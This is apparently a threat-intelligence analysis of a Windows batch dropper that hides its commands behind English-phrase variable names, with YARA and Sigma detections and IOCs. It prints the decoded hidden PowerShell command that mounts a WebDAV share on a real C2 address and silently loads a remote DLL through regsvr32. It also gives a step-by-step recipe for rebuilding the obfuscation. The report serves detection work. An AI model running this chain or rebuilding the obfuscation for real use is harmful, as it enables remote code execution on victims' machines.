e11665cfc0365e13977a75fe8be7cbc00362cd15f1eef8351db0357e8e16a40aunclassified-js-webdav-dropper: e11665cf — natural-language word-salad SET obfuscation, WebDAV C2 45.9.74.36:8888
Executive Summary
7.4 kB Windows batch dropper (2809325935343411093.bat) using a novel natural-language variable-name obfuscation: 36 SET variables are English adjective+noun phrases (e.g. alertsilentriddle, fuzzycourageousknife, mindlesssodacooing) that assemble at runtime into a PowerShell-hidden net use + regsvr32 /s WebDAV sideloading chain. C2: 45.9.74.36:8888. Payload: 33081201929468.dll. Same infrastructure and execution chain as the twenty-sibling unclassified-js-webdav-dropper cluster; unique trait is the word-salad variable naming versus the shared-prefix / dictionary-lookup dialects seen in prior siblings.
What It Is
| Field | Value |
|---|---|
| SHA-256 | e11665cfc0365e13977a75fe8be7cbc00362cd15f1eef8351db0357e8e16a40a |
| Filename | 2809325935343411093.bat ^[triage.json] |
| Size | 7,370 bytes ^[file.txt] |
| Type | ASCII text, CRLF line terminators, very long lines (2,181 chars) ^[file.txt] |
| ssdeep | 192:TcIW9SdQudX7OXz8y1jMqiPlkWqU5z90rZd+1FHfKyPiUZ:TcIWUdXMCqOlkWqU5z90rz+1FHfKmi8 ^[ssdeep.txt] |
| YARA | No matches ^[yara.txt] |
| CAPE | Skipped — text file, not a supported binary class ^[dynamic-analysis.md] |
Static-only analysis. No PE, no packing, no compiler fingerprint. ^[pefile.txt] ^[rabin2-info.txt]
How It Works
Stage 1 — GOTO decoy
Line 1: goto thin skips the first 52 lines of natural-language "word salad" — semantically meaningless English phrases that serve only as padding and to push the real payload below the visual fold. ^[strings.txt:1] ^[strings.txt:54]
Stage 2 — Variable assignment (line 55)
Thirty-six set varname=value assignments chained with &&. Each variable name is a concatenation of two or three English words (adjective + noun, or adjective + adjective + noun), e.g.:
alertsilentriddle = 5fuzzycourageousknife = cmindlesssodacooing = rrattyroadplacid = s
^[strings.txt:50-51]
This is structurally identical to the shared-prefix SET obfuscation seen in siblings like e777fd64 (hbutcXXXX pattern) and ed6b2cd3 (labzfXXXX pattern), but replaces the random-character prefix with grammatically plausible English phrases.
Stage 3 — Payload reassembly (lines 56-57)
Two lines of %varname% expansion reassemble the actual commands:
color f0 && start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\33081201929468.dll
Decoded from lines 56-57 of the raw batch file. The color f0 && start wordpad line is a decoy — opens WordPad to distract the user while PowerShell runs hidden.
Stage 4 — WebDAV sideloading (line 57, decoded)
powershell.exe -WindowStyle Hidden executes:
net use \\45.9.74.36@8888\davwwwroot\— mounts attacker WebDAV shareregsvr32 /s \\45.9.74.36@8888\davwwwroot\33081201929468.dll— silently registers the remote DLL (T1218.010) ^[strings.txt:57]
Same C2 IP, port, payload naming convention, and regsvr32 /s entry point as the twenty-sibling cluster. See webdav-regsvr32-dll-sideloading.
Decompiled Behavior
N/A — script, not a binary. No Ghidra/r2 disassembly applicable.
C2 Infrastructure
| Indicator | Value | Source |
|---|---|---|
| WebDAV C2 | 45.9.74.36:8888 |
Decoded batch line 57 |
| Payload DLL | 33081201929468.dll |
Decoded batch line 57 |
| Execution | regsvr32 /s (T1218.010) |
Decoded batch line 57 |
| Decoy | color f0 && start wordpad |
Decoded batch line 56 |
| Process spawn | powershell.exe -WindowStyle Hidden |
Decoded batch line 57 |
Interesting Tidbits
- Natural-language variable naming is the first observed in this family. Prior siblings used random-character prefixes (
hbutc,labzf,nmnmd,nxbas,wdopm) or 36-entry / 62-entry dictionary lookup tables with JScript noise-key arrays. This sample replaces both with grammatically coherent English phrases, possibly to evade entropy-based detection or to make static string extraction noisier. - No PowerShell wrapper around the entire command — unlike many siblings that wrap in a second
powershell.exe -EncodedCommandlayer, this sample runs thenet useandregsvr32directly in the hidden PowerShell window. Simpler, fewer layers. - No sandbox gate, no persistence mechanism in the batch itself — the DLL payload (not available for analysis) presumably handles its own persistence.
- No
wordpaddecoy in line 57 — thestart wordpadruns in parallel with the PowerShell hidden window, not as a blocking subprocess. Distraction, not sandbox evasion. - Payload filename
33081201929468.dllfollows the numeric-only DLL naming convention observed across this cluster (e.g.3682.dll,3500.dll,1150.dll,639.dll,1369.dll).
How To Mess With It (Homelab Replication)
Toolchain: Windows Notepad or any text editor.
Recipe:
- Pick 36 random English adjective+noun phrases (e.g.
saltysandwich,bouncypencil). - Assign each a single character or digit via
set. - Write your payload as a single string, then fragment it across the variables.
- Reassemble with
%var1%%var2%%var3%...on one line. - Wrap in
powershell.exe -WindowStyle Hidden.
Verification: Run the batch in a VM. Observe wordpad.exe opening while powershell.exe spawns hidden. Monitor with ProcMon for net use → regsvr32 chain.
Deployable Signatures
YARA rule
rule Batch_Webdav_Dropper_NaturalLanguageVars {
meta:
description = "Batch WebDAV dropper with natural-language SET variable obfuscation"
author = "PacketPursuit"
date = "2026-06-26"
hash = "e11665cfc0365e13977a75fe8be7cbc00362cd15f1eef8351db0357e8e16a40a"
strings:
$set1 = "set crownconcernedact=" ascii
$set2 = "set alertsilentriddle=" ascii
$set3 = "set mindlesssodacooing=" ascii
$set4 = "set fuzzycourageousknife=" ascii
$pwsh = "powershell.exe -windowstyle hidden" nocase ascii
$netuse = "net use \" ascii
$regsvr = "regsvr32 /s" nocase ascii
condition:
2 of ($set*) and $pwsh and $netuse and $regsvr and filesize < 15KB
}
Behavioral hunt query (Sigma)
title: Batch WebDAV Dropper Natural-Language Obfuscation
logsource:
product: windows
service: sysmon
detection:
selection1:
CommandLine|contains:
- 'powershell.exe -windowstyle hidden'
- 'net use '
- 'regsvr32 /s'
selection2:
CommandLine|contains:
- 'crownconcernedact'
- 'alertsilentriddle'
- 'mindlesssodacooing'
condition: selection1 and selection2
falsepositives:
- Unknown
level: high
IOC list
| Type | Value |
|---|---|
| SHA-256 | e11665cfc0365e13977a75fe8be7cbc00362cd15f1eef8351db0357e8e16a40a |
| Filename | 2809325935343411093.bat |
| C2 IP:Port | 45.9.74.36:8888 |
| Payload | 33081201929468.dll |
| ssdeep | 192:TcIW9SdQudX7OXz8y1jMqiPlkWqU5z90rZd+1FHfKyPiUZ:TcIWUdXMCqOlkWqU5z90rz+1FHfKmi8 |
Behavioral fingerprint
A small Windows batch script (< 10 KB) begins with goto to skip a block of natural-language padding prose. It then sets 30-40 variables with English adjective+noun phrase names to single characters/digits, reassembles them via %var% expansion into a powershell.exe -WindowStyle Hidden command that mounts a WebDAV share via net use and executes a remote DLL via regsvr32 /s. A color f0 && start wordpad decoy runs in parallel. No sandbox gate, no persistence in the batch itself.
Detection Signatures
| ATT&CK Technique | Description | Confidence |
|---|---|---|
| T1218.010 | regsvr32 /s execution of remote DLL via WebDAV |
Static — decoded payload |
| T1021.002 | SMB/WebDAV share mounting for payload staging | Static — net use in decoded line |
| T1562.001 | Defense evasion via hidden PowerShell window (-WindowStyle Hidden) |
Static |
| T1204.001 | User execution — batch script opened by victim | Inferred from filename/delivery |
| T1036.005 | Match legitimate name (WordPad decoy) | Static — start wordpad |
References
- Entity page: unclassified-js-webdav-dropper
- Technique page: webdav-regsvr32-dll-sideloading
- Related siblings:
e777fd64,ed6b2cd3,c6e24c16,ceacabb4,d36d84f2,dc9b0407(same 45.9.74.36:8888 cluster) - MalwareBazaar: https://bazaar.abuse.ch/sample/e11665cfc0365e13977a75fe8be7cbc00362cd15f1eef8351db0357e8e16a40a/
Provenance
Analysis derived from static inspection of the batch script text file. Decoded via custom Python regex substitution of %varname% patterns against the SET variable map. No CAPE detonation (text file, unsupported binary class). Tools: file v5.44, exiftool v12.76, custom Python decoder. Date: 2026-06-26.